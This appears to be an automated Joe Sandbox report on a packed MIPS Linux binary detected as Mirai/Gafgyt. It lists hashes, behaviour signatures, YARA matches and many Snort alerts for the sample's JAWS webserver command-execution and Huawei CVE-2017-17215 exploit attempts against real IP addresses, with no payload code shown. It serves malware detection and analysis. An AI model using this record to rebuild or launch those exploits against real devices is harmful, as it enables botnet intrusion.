Edit tour

Linux Analysis Report
z72GjesDmW

Overview

General Information

Sample Name:	z72GjesDmW
Analysis ID:	660662
MD5:	a573f4c263a95b72843b83bdde0431fc
SHA1:	9ddc179d26109b571d40c91131094616ebc11046
SHA256:	684699110826339799b1cd7df9525a6dbe6f9cc9df627c1a5bd50173983ed110
Tags:	32elfmipsmirai
Infos:

Detection

Gafgyt, Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Yara detected Mirai

Multi AV Scanner detection for submitted file

Yara detected Gafgyt

Snort IDS alert for network traffic

Connects to many ports of the same IP (likely port scanning)

Sample is packed with UPX

Uses known network protocols on non-standard ports

Sample contains only a LOAD segment without any section mappings

Yara signature match

Uses the "uname" system call to query kernel version information (possible evasion)

Executes the "systemctl" command used for controlling the systemd system and service manager

Detected TCP or UDP traffic on non-standard ports

Sample listens on a socket

ELF contains segments with high entropy indicating compressed/encrypted content

Deletes log files

HTTP GET or POST without a user agent

Executes commands using a shell command-line interpreter

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	660662
Start date and time: 11/07/202201:01:21	2022-07-11 01:01:21 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	z72GjesDmW
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Detection:	MAL
Classification:	mal100.troj.evad.lin@0/3@0/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/z72GjesDmW
PID:	6408
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	aqua<3"/proc/"/exe""
Standard Error:

Process Tree

system is lnxubuntu20

systemd New Fork (PID: 6182, Parent: 1)

fstrim (PID: 6182, Parent: 1, MD5: 72cd771da16ce70f2601ba29d880bd00) Arguments: /sbin/fstrim --fstab --verbose --quiet

systemd New Fork (PID: 6196, Parent: 1)

logrotate (PID: 6196, Parent: 1, MD5: ff9f6831debb63e53a31ff8057143af6) Arguments: /usr/sbin/logrotate /etc/logrotate.conf

logrotate New Fork (PID: 6363, Parent: 6196)

gzip (PID: 6363, Parent: 6196, MD5: beef4e1f54ec90564d2acd57c0b0c897) Arguments: /bin/gzip

logrotate New Fork (PID: 6364, Parent: 6196)

sh (PID: 6364, Parent: 6196, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "\n\t\tinvoke-rc.d --quiet cups restart > /dev/null\n" logrotate_script "/var/log/cups/*log "

sh New Fork (PID: 6365, Parent: 6364)

invoke-rc.d (PID: 6365, Parent: 6364, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: invoke-rc.d --quiet cups restart

invoke-rc.d New Fork (PID: 6366, Parent: 6365)

runlevel (PID: 6366, Parent: 6365, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: /sbin/runlevel

invoke-rc.d New Fork (PID: 6367, Parent: 6365)

systemctl (PID: 6367, Parent: 6365, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-enabled cups.service

invoke-rc.d New Fork (PID: 6371, Parent: 6365)

ls (PID: 6371, Parent: 6365, MD5: e7793f15c2ff7e747b4bc7079f5cd4f7) Arguments: ls /etc/rc[S2345].d/S[0-9][0-9]cups

invoke-rc.d New Fork (PID: 6372, Parent: 6365)

systemctl (PID: 6372, Parent: 6365, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-active cups.service

logrotate New Fork (PID: 6374, Parent: 6196)

gzip (PID: 6374, Parent: 6196, MD5: beef4e1f54ec90564d2acd57c0b0c897) Arguments: /bin/gzip

logrotate New Fork (PID: 6375, Parent: 6196)

sh (PID: 6375, Parent: 6196, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c /usr/lib/rsyslog/rsyslog-rotate logrotate_script /var/log/syslog

sh New Fork (PID: 6376, Parent: 6375)

rsyslog-rotate (PID: 6376, Parent: 6375, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /usr/lib/rsyslog/rsyslog-rotate

rsyslog-rotate New Fork (PID: 6377, Parent: 6376)

systemctl (PID: 6377, Parent: 6376, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl kill -s HUP rsyslog.service

z72GjesDmW (PID: 6408, Parent: 6119, MD5: 0d6f61f82cf2f781c6eb0661071d42d9) Arguments: /tmp/z72GjesDmW

z72GjesDmW New Fork (PID: 6411, Parent: 6408)

z72GjesDmW New Fork (PID: 6412, Parent: 6408)

z72GjesDmW New Fork (PID: 6415, Parent: 6412)

z72GjesDmW New Fork (PID: 6416, Parent: 6412)

z72GjesDmW New Fork (PID: 6419, Parent: 6412)

z72GjesDmW New Fork (PID: 6420, Parent: 6412)

z72GjesDmW New Fork (PID: 6424, Parent: 6412)

z72GjesDmW New Fork (PID: 6426, Parent: 6412)

z72GjesDmW New Fork (PID: 6428, Parent: 6412)

z72GjesDmW New Fork (PID: 6430, Parent: 6412)

z72GjesDmW New Fork (PID: 6433, Parent: 6412)

z72GjesDmW New Fork (PID: 6434, Parent: 6412)

z72GjesDmW New Fork (PID: 6435, Parent: 6412)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
z72GjesDmW	SUSP_ELF_LNX_UPX_Compressed_File	Detects a suspicious ELF binary with UPX compression	Florian Roth	0x8478:$s1: PROT_EXEC\|PROT_WRITE failed. 0x84e7:$s2: $Id: UPX 0x8498:$s3: $Info: This file is packed with the UPX executable packer

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Mirai_12	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6411.1.00007fe05445a000.00007fe054461000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x6354:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x63c8:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x643c:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x64b0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x6524:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x67a4:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x67fc:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x6854:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x68ac:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x6904:$xo1: oMXKNNC\x0D\x17\x0C\x12
6434.1.00007fe054400000.00007fe05441b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x19cb8:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x19d28:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x19d98:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x19e08:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x19e78:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a0e8:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a13c:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a190:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a1e4:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a238:$xo1: oMXKNNC\x0D\x17\x0C\x12
6434.1.00007fe054400000.00007fe05441b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6434.1.00007fe054400000.00007fe05441b000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
6434.1.00007fe054400000.00007fe05441b000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6434.1.00007fe05445a000.00007fe054461000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x6354:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x63c8:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x643c:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x64b0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x6524:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x67a4:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x67fc:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x6854:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x68ac:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x6904:$xo1: oMXKNNC\x0D\x17\x0C\x12
6408.1.00007fe05445a000.00007fe054461000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x6354:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x63c8:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x643c:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x64b0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x6524:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x67a4:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x67fc:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x6854:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x68ac:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x6904:$xo1: oMXKNNC\x0D\x17\x0C\x12
6411.1.00007fe054400000.00007fe05441b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x19cb8:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x19d28:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x19d98:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x19e08:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x19e78:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a0e8:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a13c:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a190:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a1e4:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a238:$xo1: oMXKNNC\x0D\x17\x0C\x12
6411.1.00007fe054400000.00007fe05441b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6411.1.00007fe054400000.00007fe05441b000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
6411.1.00007fe054400000.00007fe05441b000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6408.1.00007fe054400000.00007fe05441b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x19cb8:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x19d28:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x19d98:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x19e08:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x19e78:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a0e8:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a13c:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a190:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a1e4:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x1a238:$xo1: oMXKNNC\x0D\x17\x0C\x12
6408.1.00007fe054400000.00007fe05441b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6408.1.00007fe054400000.00007fe05441b000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
6408.1.00007fe054400000.00007fe05441b000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: z72GjesDmW PID: 6411	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: z72GjesDmW PID: 6434	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 12 entries

Snort Signatures

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 47.97.215.105

Timestamp:	192.168.2.2347.97.215.10546670802030092 07/11/22-01:02:20.358067
SID:	2030092
Source Port:	46670
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 173.0.188.249

Timestamp:	192.168.2.23173.0.188.24940462802030092 07/11/22-01:02:19.961396
SID:	2030092
Source Port:	40462
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 89.240.2.67

Timestamp:	192.168.2.2389.240.2.6748652802030092 07/11/22-01:03:26.925999
SID:	2030092
Source Port:	48652
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 82.180.38.169

Timestamp:	192.168.2.2382.180.38.16959728802030092 07/11/22-01:02:28.067451
SID:	2030092
Source Port:	59728
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 51.195.43.113

Timestamp:	192.168.2.2351.195.43.11335418802030092 07/11/22-01:03:18.141523
SID:	2030092
Source Port:	35418
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 50.17.230.193

Timestamp:	192.168.2.2350.17.230.19359320802030092 07/11/22-01:03:09.570408
SID:	2030092
Source Port:	59320
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.230.10.147

Timestamp:	192.168.2.2354.230.10.14742256802030092 07/11/22-01:03:23.508260
SID:	2030092
Source Port:	42256
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 128.199.137.6

Timestamp:	192.168.2.23128.199.137.639662802030092 07/11/22-01:02:35.396995
SID:	2030092
Source Port:	39662
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 211.152.32.39

Timestamp:	192.168.2.23211.152.32.3936668802030092 07/11/22-01:03:24.020034
SID:	2030092
Source Port:	36668
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 163.191.135.90

Timestamp:	192.168.2.23163.191.135.9059402802030092 07/11/22-01:02:31.440737
SID:	2030092
Source Port:	59402
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.225.152.124

Timestamp:	192.168.2.23156.225.152.12453534372152835222 07/11/22-01:03:42.314605
SID:	2835222
Source Port:	53534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 67.219.151.217

Timestamp:	192.168.2.2367.219.151.21736162802030092 07/11/22-01:02:30.545181
SID:	2030092
Source Port:	36162
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 120.102.129.101

Timestamp:	192.168.2.23120.102.129.10153152802030092 07/11/22-01:03:06.983022
SID:	2030092
Source Port:	53152
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.238.56.43

Timestamp:	192.168.2.23156.238.56.4356968372152835222 07/11/22-01:04:14.144599
SID:	2835222
Source Port:	56968
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 116.203.180.64

Timestamp:	192.168.2.23116.203.180.6457714802030092 07/11/22-01:02:32.381831
SID:	2030092
Source Port:	57714
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.245.34.237

Timestamp:	192.168.2.23156.245.34.23756184372152835222 07/11/22-01:02:55.585375
SID:	2835222
Source Port:	56184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.173.1.152

Timestamp:	192.168.2.2345.173.1.15244852802030092 07/11/22-01:02:44.576378
SID:	2030092
Source Port:	44852
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.111.225.238

Timestamp:	192.168.2.23104.111.225.23845806802030092 07/11/22-01:03:36.649187
SID:	2030092
Source Port:	45806
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 95.128.21.210

Timestamp:	192.168.2.2395.128.21.21050258802030092 07/11/22-01:03:28.195076
SID:	2030092
Source Port:	50258
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 147.46.191.64

Timestamp:	192.168.2.23147.46.191.6441704802030092 07/11/22-01:03:34.552191
SID:	2030092
Source Port:	41704
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 63.247.128.240

Timestamp:	192.168.2.2363.247.128.24039032802030092 07/11/22-01:04:09.249433
SID:	2030092
Source Port:	39032
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.55.1.129

Timestamp:	192.168.2.2323.55.1.12956908802030092 07/11/22-01:02:54.023540
SID:	2030092
Source Port:	56908
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.208.148.63

Timestamp:	192.168.2.2323.208.148.6338106802030092 07/11/22-01:03:01.512506
SID:	2030092
Source Port:	38106
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.230.252.185

Timestamp:	192.168.2.2354.230.252.18538942802030092 07/11/22-01:03:18.082509
SID:	2030092
Source Port:	38942
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.161.155.248

Timestamp:	192.168.2.2334.161.155.24855744802030092 07/11/22-01:02:31.532010
SID:	2030092
Source Port:	55744
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.50.193.12

Timestamp:	192.168.2.2352.50.193.1252474802030092 07/11/22-01:04:06.052895
SID:	2030092
Source Port:	52474
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 139.180.163.130

Timestamp:	192.168.2.23139.180.163.13043994802030092 07/11/22-01:02:50.215492
SID:	2030092
Source Port:	43994
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.23.231.158

Timestamp:	192.168.2.2323.23.231.15849294802030092 07/11/22-01:03:27.183899
SID:	2030092
Source Port:	49294
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 150.60.208.92

Timestamp:	192.168.2.23150.60.208.9234566802030092 07/11/22-01:02:20.929499
SID:	2030092
Source Port:	34566
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 222.100.57.251

Timestamp:	192.168.2.23222.100.57.25155004802030092 07/11/22-01:04:04.423089
SID:	2030092
Source Port:	55004
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 211.199.192.198

Timestamp:	192.168.2.23211.199.192.19854276802030092 07/11/22-01:03:15.535173
SID:	2030092
Source Port:	54276
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 202.62.62.174

Timestamp:	192.168.2.23202.62.62.17452556802030092 07/11/22-01:02:14.603454
SID:	2030092
Source Port:	52556
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.26.228

Timestamp:	192.168.2.23156.230.26.22835698372152835222 07/11/22-01:02:47.824389
SID:	2835222
Source Port:	35698
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.198.218.13

Timestamp:	192.168.2.2323.198.218.1347910802030092 07/11/22-01:03:21.305508
SID:	2030092
Source Port:	47910
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 159.89.179.45

Timestamp:	192.168.2.23159.89.179.4559148802030092 07/11/22-01:04:14.857184
SID:	2030092
Source Port:	59148
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 203.145.118.24

Timestamp:	192.168.2.23203.145.118.2440448802030092 07/11/22-01:02:42.570038
SID:	2030092
Source Port:	40448
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 217.144.105.73

Timestamp:	192.168.2.23217.144.105.7352488802030092 07/11/22-01:03:17.049298
SID:	2030092
Source Port:	52488
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 221.164.30.57

Timestamp:	192.168.2.23221.164.30.5750312802030092 07/11/22-01:04:15.271141
SID:	2030092
Source Port:	50312
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 35.244.252.133

Timestamp:	192.168.2.2335.244.252.13340210802030092 07/11/22-01:04:02.675376
SID:	2030092
Source Port:	40210
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.91.52

Timestamp:	192.168.2.23156.250.91.5252094372152835222 07/11/22-01:02:47.594237
SID:	2835222
Source Port:	52094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 8.218.2.114

Timestamp:	192.168.2.238.218.2.11436960802030092 07/11/22-01:02:17.276511
SID:	2030092
Source Port:	36960
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 50.2.23.233

Timestamp:	192.168.2.2350.2.23.23338290802030092 07/11/22-01:03:38.104726
SID:	2030092
Source Port:	38290
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 139.162.179.121

Timestamp:	192.168.2.23139.162.179.12158258802030092 07/11/22-01:02:53.356240
SID:	2030092
Source Port:	58258
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 222.186.148.101

Timestamp:	192.168.2.23222.186.148.10140604802030092 07/11/22-01:03:19.351435
SID:	2030092
Source Port:	40604
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 198.52.107.136

Timestamp:	192.168.2.23198.52.107.13657128802030092 07/11/22-01:04:01.339810
SID:	2030092
Source Port:	57128
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 146.70.99.162

Timestamp:	192.168.2.23146.70.99.16257044802030092 07/11/22-01:03:57.097574
SID:	2030092
Source Port:	57044
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 216.74.210.182

Timestamp:	192.168.2.23216.74.210.18240398802030092 07/11/22-01:03:19.390538
SID:	2030092
Source Port:	40398
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.249.228.82

Timestamp:	192.168.2.2354.249.228.8244540802030092 07/11/22-01:03:15.246460
SID:	2030092
Source Port:	44540
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.11.167.128

Timestamp:	192.168.2.2323.11.167.12858854802030092 07/11/22-01:03:37.432714
SID:	2030092
Source Port:	58854
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 184.50.28.198

Timestamp:	192.168.2.23184.50.28.19845394802030092 07/11/22-01:02:35.330890
SID:	2030092
Source Port:	45394
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 106.105.193.6

Timestamp:	192.168.2.23106.105.193.635516802030092 07/11/22-01:03:09.715958
SID:	2030092
Source Port:	35516
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.94.6

Timestamp:	192.168.2.23156.254.94.650024372152835222 07/11/22-01:03:03.187796
SID:	2835222
Source Port:	50024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 121.40.55.77

Timestamp:	192.168.2.23121.40.55.7749538802030092 07/11/22-01:03:57.197303
SID:	2030092
Source Port:	49538
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 163.197.229.111

Timestamp:	192.168.2.23163.197.229.11156208802030092 07/11/22-01:03:42.420179
SID:	2030092
Source Port:	56208
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

